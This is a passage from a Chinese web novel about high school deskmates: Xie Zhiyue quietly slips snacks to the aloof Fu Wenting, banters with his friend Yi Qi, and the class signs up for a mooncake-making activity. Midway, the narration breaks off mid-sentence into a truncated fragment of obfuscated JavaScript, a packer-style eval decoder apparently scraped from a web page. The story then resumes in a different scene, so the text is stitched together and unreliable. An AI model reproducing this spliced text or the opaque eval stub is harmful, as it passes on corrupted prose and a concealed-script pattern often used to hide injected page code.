他决定此生都把这件事藏进心底。 不过既然易祈突然提到了这件事,谢知跃觉得自己有必要为傅闻听辩驳一下:“而且傅闻听的病也没你们说的那么恐怖吧?” 想到昨天傅闻听突然问自己的那个问题,谢知跃脚步一顿,忽然皱了皱眉,猜测道:“他当着你们的面发作过?” 易祈一愣:“这倒没有……” 谢知跃认真想了想,如果加上易祈之前提到过一嘴的《傅闻听旧同学大闹校园墙造谣事件》……他八成能确定那是傅闻听初中时候发生的事情。 想着想着,他冷不丁偏头,低声询问易祈:“诶,你知不知道傅闻听以前在哪儿上学啊?” ……好端端地突然问这个干什么? 易祈觉得奇怪,但没有多想,边走边随口回道:“一中的初中部吧,我也不清楚,但我还记得当时他是发挥失常,中考没考好才来的八中……” “……” 生怕被英语老师逮着迟到,两人不想今晚被奖励一套英语全文背诵大礼包,从小卖部一路奔波回班,比预期还早两分钟抵达。 谢知跃提着塑料袋进门,探头一瞧,傅闻听不在座位上,八成是又被老师叫走了。 一路上两人顾不上多聊两句,加上易祈知道的也不多,仅限于有关傅闻听中考失利的传闻、以及和初中同学的关系不太好之类的信息。 但靠着这些,谢知跃猜也能猜出个大概了。 趁着人不在,他把刚刚抱在怀里的贝奇野菜放进傅闻听的抽屉,又多塞了几个小面包,然后低头费劲巴拉地给自己的优の冻撕了个口子,仰头对着嘴就往里倒。 一口气啃掉了半盒,谢知跃嘴里含着仙草冻,腮帮子鼓得满满当当,像只仓鼠一样嚼个不停,一边四处观察周围的同学。 不看不打紧,这一看谢知跃才恍然发现,傅闻听的生存环境似乎有些超乎他想象的严峻。 不用做早操的情况下,很多学生仍旧会趁着课间去一趟小卖部,或者在校门口买早餐。 还有的会从家里带点零食放在书包里,趁着没上课的时间拆开吃,而且一般还会四处分发。 “易祈。”谢知跃三两下囫囵把嘴里的优の冻咽下肚里,神情难得有些正经,低声喊易祈,“你有没有发现,他们从来都不给傅闻听分零食?” 这究竟是道德的沦丧!还是人性的毁灭…… 易祈回头用看傻子的眼神盯着他:“你有没有发现,他们也从来不给你分零食?” 谢知跃:“……” 他沉默两秒,迟疑道:“……好像是。” “大哥。”易祈一字一句直击谢知跃脆弱的小心灵,表情十分怜悯,“谁给完全不熟的人发吃的啊?” 谢知跃:“……” “你别老是过度紧张傅闻听了。”易祈没忍住吐槽他,“人家在你没来之前不也活得好好的吗?能吃能睡能跑能跳的。” “这四点我都不敢苟同。”谢知跃幽幽地长叹一声,仰天朗诵,“慈母手中线,游子身上衣。临行密密缝,意恐迟迟归……” 末了,他意味深长地摇了摇头,惋惜道:“这种心情,等你当妈的那天就懂了。” 易祈:“……” 他觉得他好像不太可能会有懂得的那天。 二人闲聊一会儿,还没到上课时间,傅闻听和班主任同时从前门走了进来。 后者估计是要来通知什么事情,带着一小叠册子。后者则从她身后拐出来,目不斜视地绕过前排过道,径直回到自己的座位边坐下。 还没习惯不吃早饭的感觉,傅闻听感受到胃部时不时地痉挛一下,微微蹙眉,强忍着不适,伸手从抽屉找套卷子出来,想把这种感觉压下去。 手刚伸进抽屉,傅闻听敏锐地听见塑料袋彼此摩擦的响动,他动作一顿,立刻察觉到是有什么东西压着习题和教辅,于是低头又往抽屉里看了眼。 一瓶孤零零的贝奇野菜,两个包装充满气体、胖乎乎膨胀着的袋装小面包,还有一提全麦吐司。 他沉默两秒,迟疑片刻,伸手将其中唯一的瓶装液体拿出来,转头看向谢知跃:“你买的?” 无论他怎么想,似乎罪魁祸首都只有一个。 某刚刚去过小卖部的谢姓男子正在角落里偷偷进食仙草冻,侧弯着腰生怕老师看见。听见傅闻听的声音,他迅速回头看了一眼。 视线落在他手里的橙红色瓶子上,谢知跃十分坦然道:“哦,我看你没吃早饭,分你一点就当垫垫肚子呗。” 仙草冻还被他含在嘴里,显得声音含含糊糊。 似乎生怕傅闻听拒绝,他连忙一口咽下去,又扯了扯抽屉里的袋子给他看,故作哀求状:“我一不小心买太多了,真吃不完,好同桌,你就行行好替我吃了吧。” 短暂的相处下来,谢知跃觉得自己好像隐约摸到了一点该怎么拿捏这家伙的诀窍,只要自己找个正确的理由示弱,然后象征 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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说着,她笔下动作停了停,忍不住叹了口气:“而且还要浪费两节课的时间,还不如留下上上课,多写两套卷子呢。” 易祈轻啧一声,反驳她:“话不能这么说好吧,咱们要劳逸结合,而且做月饼听起来很好玩啊。” 说着,他又回头去看谢知跃,问道:“诶,谢知跃,你要不要报名?你要是去我也去呗。” 谢知跃原先就有些心动,尤其听到杨霁珉的后半段话,他还仔细回想了一下每周二上午最后两节是谁的课。 ……英语。 “去!当然要去!”谢知跃毫不迟疑,当即拍板定音,“易祈,咱们就积极响应号召,为班级多做点贡献。” 易祈深有同感:“建设美丽四班,共创和谐家园。” 谢知跃顺势附和:“友好互帮互助,我辈义不容辞。” 两人心有灵犀地击了个掌,放肆地仰天长笑。 杨霁珉:“……” 笑倒是笑够了,谢知跃总算想起边上的傅闻听,顺带问了他一嘴:“诶,你想不想去试试?” 傅闻听还盯着那瓶橙红色的饮料没动,神情奇怪,闻言回过神,本能地皱了皱眉。 反应过来谢知跃问了什么,他于是扯了扯嘴角,表示对此毫无兴趣:“……不想。” 料想他会拒绝,谢知跃倒没有过多强求,琢磨着这个月饼活动要怎么举办,用指节抵着下巴互相摩挲,一边陷入沉思:“嗯,月饼?做月饼……” 在一旁始终保持沉默的傅闻听忽然心有所感,下意识地眼皮一跳。 ……为什么隐隐有种不详的预感。